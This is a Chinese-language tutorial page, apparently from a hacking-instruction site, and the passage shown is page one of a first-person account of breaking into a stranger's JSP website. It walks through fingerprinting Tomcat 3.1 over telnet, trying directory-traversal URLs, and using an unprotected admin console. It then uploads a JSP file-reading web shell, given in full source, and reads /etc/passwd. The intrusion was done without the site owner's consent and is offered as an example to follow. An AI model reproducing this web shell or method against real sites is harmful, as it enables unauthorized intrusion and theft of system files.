萬盛學電腦網

 萬盛學電腦網 >> 黑客技術教程 >> 入侵實例 >> 現場紀實——如何入侵基於JSP的網站

現場紀實——如何入侵基於JSP的網站

###adv###   很偶然的一個機會,浏覽到一個網站,頁面清新讓人感覺很舒服。網站是用JSP開發的,出於個人愛好,我決定測試一下其系統的安全性。

telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]


  返回的結果如下:

HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404

〈h1〉Error: 404〈/h1〉
〈h2〉Location: /CHINANSL〈/h2〉File Not Found〈br〉/CHINANSL


  獲得了運行的WEBServer的名稱“Tomcat 3.1”。記得曾經發現過這個版本的漏洞,並且post到bugtrap上去過。

  回憶一下,大概是通過“..”技術可以退出WEB目錄,於是:

http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.jsp%81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.jsp%2581 (不行)
http://target:8080/WEB-INF/ (不行)


  看來安全狀況似乎還不錯,我們再來進行一下更深層的測試。Tomcat 3.1自帶了一個管理工具,可以查看WEB下的目錄及文件,並且可以添加context。於是嘗試:

http://target:8080/admin/

  管理員果然沒有刪除或禁止訪問這個目錄,從安全的角度說,這點應該算是一個比較重要的失誤。

  接著,點擊“VIEW ALL CONTEXT”按鈕,列出了WEB目錄下的一些文件和目錄的名稱,很快發現了一個上傳文件的組件,通過這個組件將一個JSP文件上傳到對方的WEB目錄裡:

〈%@ page import="java.io.*" %〉
〈%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"〈br〉");
}
}catch(IOException e){}
%〉


  然後執行:

http://target:8080/upload/test.jsp?file=/etc/passwd



  密碼出來了。接下來的過程是猜測密碼,沒有成功。不過,現在相當於有了一個SHELL,猜不出密碼可以先把IE當作SHELL環境。

12下一頁閱讀全文

copyright © 萬盛學電腦網 all rights reserved